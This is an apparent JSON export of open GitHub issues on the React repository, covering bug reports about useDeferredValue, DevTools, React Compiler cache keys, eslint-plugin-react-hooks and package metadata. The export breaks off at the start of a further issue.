"I_kwDOAJy2Ks7sBjeN", "number": 35821, "title": "Bug: useDeferredValue gets stuck with a stale value", "user": { "login": "gaearon", "id": 810438, "node_id": "MDQ6VXNlcjgxMDQzOA==", "avatar_url": "https://avatars.githubusercontent.com/u/810438?v=4", "gravatar_id": "", "url": "https://api.github.com/users/gaearon", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 1109407645, "node_id": "MDU6TGFiZWwxMTA5NDA3NjQ1", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Suspense", "name": "Component: Suspense", "color": "8ffcd6", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 6, "created_at": "2026-02-18T21:15:25Z", "updated_at": "2026-02-26T14:52:14Z", "closed_at": null, "assignee": null, "author_association": "COLLABORATOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Essentially, I see `useDeferredValue` being stuck and never catching up.\n\nNot sure if it's possible to extract it out of a Next.js app. I think it's probably a React bug because it seems related to core APIs, but I couldn't simplify it past the \"render some JSX from server action\" repro case.\n\n## Demo\n\nType \"hello world\".\n\nIn dev (`npm run dev`), the second text area catches up.\n\nIn prod (`npm run build + npm start`), the second text area often gets stuck and never catches up.\n\nhttps://github.com/user-attachments/assets/a44f01ad-1a7d-4420-a6da-cadb277ded72\n\n## Code\n\nHere is a repro case: https://github.com/gaearon/react-udv-bug/\n\nThis is the main harness:\n\n```js\nexport function TestPreviewClient() {\n const [promise, setPromise] = useState>(initialPromise);\n const deferred = useDeferredValue(promise);\n\n function handleChange(value: string) {\n setPromise(renderAction(value));\n }\n\n return (\n
\n
\n \n );\n}\n```\n\nNote these helpers:\n\n```js\nexport function ClientWrapper({ children }: { children: ReactNode }) {\n const t = performance.now();\n while (performance.now() - t < 2) {\n // do nothing\n }\n return <>{children}>;\n}\n\nfunction Resolved({ promise }: { promise: Promise }) {\n return <>{use(promise)}>;\n}\n```\n\nAnd this is the server part:\n\n```js\nasync function AsyncChild({\n children,\n}: {\n children: ReactNode;\n}): Promise {\n await new Promise((r) => setTimeout(r, 1));\n return children;\n}\n\nasync function Item({ children }: { children: ReactNode }): Promise {\n return (\n \n {children}\n \n );\n}\n\nexport async function renderAction(input: string): Promise {\n return (\n \n
\n \n
{input}
\n
\n
\n
\n );\n}\n```\n\nYou can generally simplify this structure but then it will be harder to reproduce.", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35821/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35932 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35818", "id": 3959235403, "node_id": "I_kwDOAJy2Ks7r_SNL", "number": 35818, "title": "[DevTools Bug] Could not find node with id \"3119\" in commit tree", "user": { "login": "stella-yessensei", "id": 210153476, "node_id": "U_kgDODIawBA", "avatar_url": "https://avatars.githubusercontent.com/u/210153476?v=4", "gravatar_id": "", "url": "https://api.github.com/users/stella-yessensei", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2026-02-18T18:36:06Z", "updated_at": "2026-02-22T18:24:16Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nLocal debugging\n\n### Repro steps\n\nRecord / stop and the issue appears\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\nreact-devtools-extensions\n\n### DevTools version (automated)\n\n7.0.1-3cde211b0c\n\n### Error message (automated)\n\nCould not find node with id \"3119\" in commit tree\n\n### Error call stack (automated)\n\n```text\nat chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:705820\n at Map.forEach ()\n at ProfilingCache_defineProperty.commitIndex (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:705769)\n at $e.getRankedChartData (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:706282)\n at CommitRankedAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1008687)\n at renderWithHooks (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:66940)\n at updateFunctionComponent (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:97513)\n at beginWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:111594)\n at performUnitOfWork (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:184246)\n at workLoopSync (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:184102)\n```\n\n### Error component stack (automated)\n\n```text\nat CommitRankedAutoSizer (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1008444)\n at div ()\n at div ()\n at div ()\n at SettingsModalContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:879909)\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1144384\n at ao (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:898411)\n at div ()\n at div ()\n at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:901116)\n at chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:901313\n at div ()\n at div ()\n at div ()\n at ThemeProvider (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:901116)\n at SuspenseTreeContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1147064)\n at InspectedElementContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:915935)\n at TimelineContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:994422)\n at ProfilerContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:986233)\n at TreeContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:786019)\n at SettingsContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:815755)\n at ModalDialogContextController (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:972480)\n at DevTools_DevTools (chrome-extension://fmkadmapgofadopljbjfkapdkoienihi/build/main.js:1:1175879)\n```\n\n### GitHub query string (automated)\n\n```text\nhttps://api.github.com/search/issues?q=Could not find node with id in commit tree in:title is:issue is:open is:public label:\"Component: Developer Tools\" repo:facebook/react\n```", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35818/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35814", "id": 3958690392, "node_id": "I_kwDOAJy2Ks7r9NJY", "number": 35814, "title": "Bug: Memory leak in attribute-behavior fixture - wrong variable cleared in componentWillUnmount", "user": { "login": "AmitSingh-5600", "id": 136868174, "node_id": "U_kgDOCChxTg", "avatar_url": "https://avatars.githubusercontent.com/u/136868174?v=4", "gravatar_id": "", "url": "https://api.github.com/users/AmitSingh-5600", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2026-02-18T16:25:06Z", "updated_at": "2026-02-22T18:24:22Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Bug Description\nIn fixtures/attribute-behavior/src/App.js, the componentWillUnmount method has a bug where it checks for this.timeout but clears this.interval (which doesn't exist). This causes a memory leak where timeouts are never properly cleaned up on component unmount.\n\n**Location:** fixtures/attribute-behavior/src/App.js:605\n\n---\n\n### Code Analysis\n\n**Current (Buggy) Code:**\ncomponentWillUnmount() {\n if (this.timeout) {\n clearTimeout(this.interval); // ❌ Error: this.interval is undefined\n }\n}\n\n**Proposed Fix:**\ncomponentWillUnmount() {\n if (this.timeout) {\n clearTimeout(this.timeout); // ✅ Correct: matches the variable being tracked\n }\n}\n\n---\n\n### Steps To Reproduce\n1. Navigate to the fixtures/attribute-behavior directory.\n2. Run the build and dev server:\n yarn build --type=UMD_DEV react/index,react-dom && cd fixtures/attribute-behavior && yarn install && yarn dev\n3. Open the fixture in a browser.\n4. Hover over a result cell to trigger onMouseEnter (which sets this.timeout).\n5. Unmount the component before the timeout fires (e.g., navigate away or close the tab).\n6. Observe: The timeout is never cleared, which can lead to memory leaks or setState warnings on unmounted components.\n\n---\n\n### Current Behavior\nWhen the component unmounts, the code checks for this.timeout but calls clearTimeout(this.interval). Since this.interval is undefined, the actual timer remains active, potentially causing \"cannot update state on an unmounted component\" warnings.\n\n### Expected Behavior\nThe componentWillUnmount lifecycle should correctly call clearTimeout(this.timeout) to ensure the specific timer initiated by the component is destroyed immediately upon unmounting.\n\n---\n\n### Suggested Fix (Diff)\n--- fixtures/attribute-behavior/src/App.js\n+++ fixtures/attribute-behavior/src/App.js\n@@ -603,5 +603,5 @@\n componentWillUnmount() {\n if (this.timeout) {\n- clearTimeout(this.interval);\n+ clearTimeout(this.timeout);\n }\n }", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35814/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35820, 35815 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35813", "id": 3957746816, "node_id": "I_kwDOAJy2Ks7r5myA", "number": 35813, "title": "[eslint-plugin-react-hooks] Bug: `react-hooks/refs` rule reporting false positive", "user": { "login": "ej612", "id": 110408767, "node_id": "U_kgDOBpS0Pw", "avatar_url": "https://avatars.githubusercontent.com/u/110408767?v=4", "gravatar_id": "", "url": "https://api.github.com/users/ej612", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2026-02-18T12:57:25Z", "updated_at": "2026-02-22T18:21:28Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Hi there!\n\nWhen updating to v7 of `eslint-plugin-react-hooks`, I'm getting an error that I haven't been getting on v5, and I believe it's a false positive.\n\nThis is my functional component:\n\n```ts\nfunction App() {\n const groupRefs = {\n group1: React.useRef(null),\n group2: React.useRef(null),\n };\n\n // const group1Ref = React.useRef(null);\n // const group2Ref = React.useRef(null);\n \n return (\n \n \n \n \n \n \n \n \n );\n}\n```\n\nI'm keeping a list of refs for each group, and I'm passing each one into the group element.\nThis gives me the following error:\n\n\"Image\"\n\nI think the rule mistakenly interprets `groupRefs.group2` as referencing `ref.current`, which is not the case. If I don't collect all refs in an object but create an individual variable for each, I don't get an error.\n\nSteps to reproduce:\n+ Open [this sandbox](https://stackblitz.com/edit/github-gjhxk4ip?file=src%2FApp.tsx).\n+ Download it:\n\n\"Image\"\n\n+ Run `npm install`, open in vscode.\n+ You should get the error I screenshotted above.\n\nThanks!", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35813/reactions", "total_count": 1, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 1, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35819 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35793", "id": 3944846869, "node_id": "I_kwDOAJy2Ks7rIZYV", "number": 35793, "title": "Bug: Malformed `private` field in react-devtools-fusebox package.json", "user": { "login": "MohammadBinAftab", "id": 48010758, "node_id": "MDQ6VXNlcjQ4MDEwNzU4", "avatar_url": "https://avatars.githubusercontent.com/u/48010758?v=4", "gravatar_id": "", "url": "https://api.github.com/users/MohammadBinAftab", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2026-02-15T20:26:07Z", "updated_at": "2026-02-22T18:24:28Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "**Bug: Malformed `private` field in react-devtools-fusebox package.json**\n\nCurrent Behavior\n\nThe `package.json` file for `react-devtools-fusebox` uses a **string** for the `private` field instead of a **boolean**:\n\n**Location** [`[packages/react-devtools-fusebox/package.json](https://github.com/facebook/react/blob/main/packages/react-devtools-fusebox/package.json)`](https://github.com/facebook/react/blob/main/packages/react-devtools-fusebox/package.json)\n\n```json\n{\n \"private\": \"true\", // Should be: \"private\": true\n}\n```\n\n### Expected Behavior\n\nAccording to the [[npm package.json specification](https://docs.npmjs.com/cli/v11/configuring-npm/package.json#private)](https://docs.npmjs.com/cli/v11/configuring-npm/package.json#private), the `private` field must be a **boolean**, not a string:\n\n```json\n{\n \"private\": true, // Correct\n}\n```\n\n### Impact\n\nThis causes failures in package scanning tools that validate package metadata:\n\n- **ScanCode.io** pipeline fails when scanning `pkg:github/facebook/[email protected]`\n- Type validation error: `'\"true\" value must be either True or False.'`\n- Non-compliant with npm specification\n\n**Related upstream issues:**\n- [[aboutcode-org/scancode.io#1986](https://github.com/aboutcode-org/scancode.io/issues/1986)](https://github.com/aboutcode-org/scancode.io/issues/1986) - Pipeline failure report\n- [[aboutcode-org/scancode-toolkit#4631](https://github.com/aboutcode-org/scancode-toolkit/issues/4631)](https://github.com/aboutcode-org/scancode-toolkit/issues/4631) - Root cause analysis\n- [[aboutcode-org/scancode-toolkit#4635](https://github.com/aboutcode-org/scancode-toolkit/pull/4635)](https://github.com/aboutcode-org/scancode-toolkit/pull/4635) - Defensive fix to handle malformed data\n\nWhile downstream tools are adding workarounds, the source data should comply with the npm specification.\n\n### Reproduction\n\n```bash\n# Scan the package with ScanCode\nscancode --package packages/react-devtools-fusebox/package.json --json-pp -\n\n# Output shows:\n# \"is_private\": \"true\", <-- String instead of boolean\n```\n\n### Proposed Fix\n\n```diff\n{\n \"name\": \"react-devtools-fusebox\",\n \"version\": \"0.0.0\",\n- \"private\": \"true\",\n+ \"private\": true,\n \"license\": \"MIT\",\n}\n```\n\n### Questions\n\n1. Are there other `package.json` files in the React monorepo with similar issues?\n2. Was the string value intentional for any specific reason?\n\n---\n\nI'm happy to submit a PR to fix this if helpful. \n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35793/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [ 35904, 35802 ] }, { "url": "https://api.github.com/repos/facebook/react/issues/35762", "id": 3926598259, "node_id": "I_kwDOAJy2Ks7qCyJz", "number": 35762, "title": "[Compiler Bug]: Closure dependency cache keys eagerly evaluate property accesses, causing TypeError on nullable objects", "user": { "login": "MatiasCiccone", "id": 32602795, "node_id": "MDQ6VXNlcjMyNjAyNzk1", "avatar_url": "https://avatars.githubusercontent.com/u/32602795?v=4", "gravatar_id": "", "url": "https://api.github.com/users/MatiasCiccone", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2026-02-11T13:34:24Z", "updated_at": "2026-03-02T04:37:58Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\n\n- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\n- [ ] eslint-plugin-react-hooks (build issue installing or using the eslint plugin)\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\n\n### Link to repro\n\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABAWQE8BhCAWwAdMEM8BeXACmFyjARlwF8BKXOgHy5gAHQy5c6LHgAWAQwwATADYJiygJZwA1vyZ9BwsRIlTIqgHTKIAc0ZsOFjHLIIeAbmPdPGLxoBmTACEDjB8MAjYsOIYUMrKPl4RUTDiADwARlDY2Ji4mOpa2nTA8kqqhTpcApXaaQD0WTmYAj5c7iAANGiY-ho2KCAalBAweNiEFAjCuAAKylA2GhgA8hTYGphg3Lj+MOS4AOQZchkIygC0FAtLGBcRcnDYF+iUGqow9YoaOIeJGMwvPV6q8KO85BtMPgIIoEMhcCIQHJ4oixFxcGAIT8+ghtvNFss1pCsB4uuAZBAAO4ASVoHGcyjAKH8yPYXCAA\n\n### Repro steps\n\n1. Create a component that receives a nullable prop\n2. Access that prop's properties inside a closure (event handler)\n3. Add an early return guard: if (!prop) return null\n4. Pass null/undefined as the prop\n5. Component throws TypeError during render\n\n------------------------\n\n# React Compiler hoists closure property accesses into cache keys, causing TypeError\n\n## Summary\n\nThe React Compiler generates memoization cache keys by eagerly evaluating property accesses that were originally deferred inside closures (event handlers). This causes `TypeError` at render time when the object is `null`/`undefined`, even though the original code would never access the property during render.\n\nEarly returns (`if (!x) return null`) do not help — the compiler hoists the cache key check above the guard.\n\nJSX expressions are not affected — the compiler correctly extracts them to intermediate variables.\n\n## Reproduction\n\n[React Compiler Playground](https://playground.react.dev/)\n\n### Minimal case\n\n```jsx\nconst MyComponent = ({ user }) => {\n const handleClick = () => {\n console.log(user.name);\n };\n\n if (!user) return null;\n\n return ;\n};\n```\n\nCompiled output:\n\n```js\nconst MyComponent = (t0) => {\n const $ = _c(4);\n const { user } = t0;\n\n // Cache key runs BEFORE the null guard — throws when user is null\n if ($[0] !== user.name) {\n t1 = () => {\n console.log(user.name);\n };\n $[0] = user.name;\n $[1] = t1;\n }\n\n // The null guard comes AFTER — too late\n if (!user) {\n return null;\n }\n\n // ...\n};\n```\n\nThe source code is safe: `user.name` is only inside a click handler, and the early return prevents the button from rendering when `user` is null. But the compiler hoists `user.name` into a cache key that runs on **every render**, before the guard.\n\n### With nested access and JSX\n\n```jsx\nconst MyComponent = ({ user }) => {\n const [visible, setVisible] = useState(false);\n const [link, setLink] = useState(null);\n\n const handleClick = async () => {\n console.log(user.company.id);\n console.log(user.email);\n };\n\n return (\n
setVisible(false)}>\n {user?.email}\n \n
\n );\n};\n```\n\nCompiled output (simplified):\n\n```js\n// The compiler hoists user.company.id and user.email from the closure\n// into cache key checks that run on EVERY render:\nif ($[0] !== user.company.id || $[1] !== user.email) {\n t1 = async () => {\n console.log(user.company.id);\n console.log(user.email);\n };\n $[0] = user.company.id;\n $[1] = user.email;\n $[2] = t1;\n}\n\n// JSX — correctly extracted to variable (safe)\nconst t4 = user?.email;\nif ($[7] !== t4) {\n t5 = {t4};\n}\n```\n\n## Expected behavior\n\nThe compiler should not introduce runtime errors that the source code would not produce. Property accesses hoisted from closures into cache keys should be guarded, e.g. by extracting to intermediate variables:\n\n```js\nconst t0 = user?.name;\nif ($[0] !== t0) {\n t1 = () => {\n console.log(user.name);\n };\n $[0] = t0;\n $[1] = t1;\n}\n```\n\n## Workarounds\n\n### 1. Extract to variables\n\nExtract property accesses into variables before using them in closures. The compiler then caches on the primitive values:\n\n```jsx\nconst companyId = user?.company?.id;\nconst email = user?.email;\n\nconst handleClick = async () => {\n console.log(companyId);\n console.log(email);\n};\n```\n\n### 2. Add optional chaining to every closure access\n\nAdding `?.` to every property access inside closures makes the compiler preserve it in cache keys. Note that **every** access must have `?.` — missing it on even one will produce an unsafe cache key for that property path:\n\n```jsx\nconst handleClick = async () => {\n console.log(user?.company.id);\n console.log(user?.email);\n};\n```\n\n### 3. Use nullish coalescing on destructuring\n\nUsing `?? {}` when destructuring the nullable object anywhere in the component signals to the compiler that the value can be nullish. This makes the compiler generate `?.` in **all** cache keys for that object:\n\n```jsx\nconst handleClick = () => {\n const { name, email } = user ?? {};\n console.log(name, email);\n};\n```\n\nThis produces `$[x] !== user?.name` instead of `$[x] !== user.name` in cache keys across the component.\n\n### 4. Add a null guard inside the closure\n\nAdding a null check before the property access inside the closure makes the compiler use the **object reference** as the cache key instead of the property path:\n\n```jsx\nconst handleClick = () => {\n if (!user) return;\n console.log(user.company.id);\n console.log(user.email);\n};\n```\n\nThis produces `$[x] !== user` (the reference) instead of `$[x] !== user.company.id` (the property access) in the cache key. Comparing a reference to `null`/`undefined` never throws.\n\n## Environment\n\n- React Compiler (babel plugin via `react-compiler-runtime`)\n- Webpack 5 with HMR\n- Observed in both HMR hot-update bundles and regular builds\n\n\n### How often does this bug happen?\n\nEvery time\n\n### What version of React are you using?\n\n18.3.1\n\n### What version of React Compiler are you using?\n\n1.0.0", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35762/reactions", "total_count": 4, "+1": 4, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35758", "id": 3922269709, "node_id": "I_kwDOAJy2Ks7pyRYN", "number": 35758, "title": "Bug: eslint-plugin-react-hooks does not support ESLint 10 in peerDependencies", "user": { "login": "rstar327", "id": 114364448, "node_id": "U_kgDOBtEQIA", "avatar_url": "https://avatars.githubusercontent.com/u/114364448?v=4", "gravatar_id": "", "url": "https://api.github.com/users/rstar327", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 6, "created_at": "2026-02-10T15:59:56Z", "updated_at": "2026-03-04T09:20:34Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 3, "total_blocking": 3 }, "body": "\n\nReact version: 19.x\n\n## Steps To Reproduce\n\n1. Create a React project with `[email protected]`\n2. Upgrade ESLint to version 10.0.0\n3. Run `npm install`\n\n\n\nLink to code example:\n\n```json\n{\n \"devDependencies\": {\n \"eslint\": \"^10.0.0\",\n \"eslint-plugin-react-hooks\": \"^7.0.1\"\n }\n}\n```\n\n\n## The current behavior\nnpm error ERESOLVE could not resolve\nnpm error Could not resolve dependency:\nnpm error peer eslint@\"^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0\" from [email protected]\n\n## The expected behavior\n\"eslint\": \"^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0 || ^10.0.0\"", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35758/reactions", "total_count": 53, "+1": 53, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35757", "id": 3922260890, "node_id": "I_kwDOAJy2Ks7pyPOa", "number": 35757, "title": "Bug: ReactProfilerTimer transition timers are global, causing conflicts with concurrent transitions", "user": { "login": "subhamkumarr", "id": 99977240, "node_id": "U_kgDOBfWIGA", "avatar_url": "https://avatars.githubusercontent.com/u/99977240?v=4", "gravatar_id": "", "url": "https://api.github.com/users/subhamkumarr", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2026-02-10T15:58:05Z", "updated_at": "2026-02-10T15:58:05Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "## Description\nThe `ReactProfilerTimer.js` module currently uses a set of global variables (`transitionStartTime`, `transitionUpdateTime`, `transitionUpdateType`, etc.) to track performance metrics for transitions.\n\nThis implementation assumes only one transition is being tracked at a time. However, with concurrent rendering, multiple transitions can be in progress simultaneously in different lanes.\n\nThere is an explicit TODO in the code acknowledging this issue:\n\n```javascript\n// packages/react-reconciler/src/ReactProfilerTimer.js\n\n// TODO: This should really be one per Transition lane.\nexport let transitionClampTime: number = -0;\nexport let transitionStartTime: number = -1.1; // First startTransition call before setState.\nexport let transitionUpdateTime: number = -1.1; // First transition setState scheduled.\n```\n## Impact\nWhen multiple concurrent transitions occur, the following issues arise:\n\n1. **Data Overwrites:** Concurrent transitions will overwrite each other's timing data in these global variables.\n2. **Inaccurate Profiling:** `ReactFiberWorkLoop` will read incorrect start/update times, leading to inaccurate performance profiling data.\n3. **Race Conditions:** It may cause race conditions where the wrong transition's data is logged or used for heuristics.\n\n## Proposed Solution\nRefactor `ReactProfilerTimer.js` to avoid global state for transition timings.\n\n* **Structure:** Store transition timing data in a structure keyed by the transition lane, such as `Map`.\n* **Implementation:** The `ReactFiberWorkLoop` and other consumers should be updated to pass the relevant `Lane` when recording or reading transition timings, ensuring that data is isolated per transition.\n\n## Affected Files\n* `packages/react-reconciler/src/ReactProfilerTimer.js`\n* `packages/react-reconciler/src/ReactFiberWorkLoop.js`", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/35757/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/35728", "id": 3914710524, "node_id": "I_kwDOAJy2Ks7pVb38", "number": 35728, "title": "Bug: View Deployment is not working across react.dev and i18n documentation", "user": { 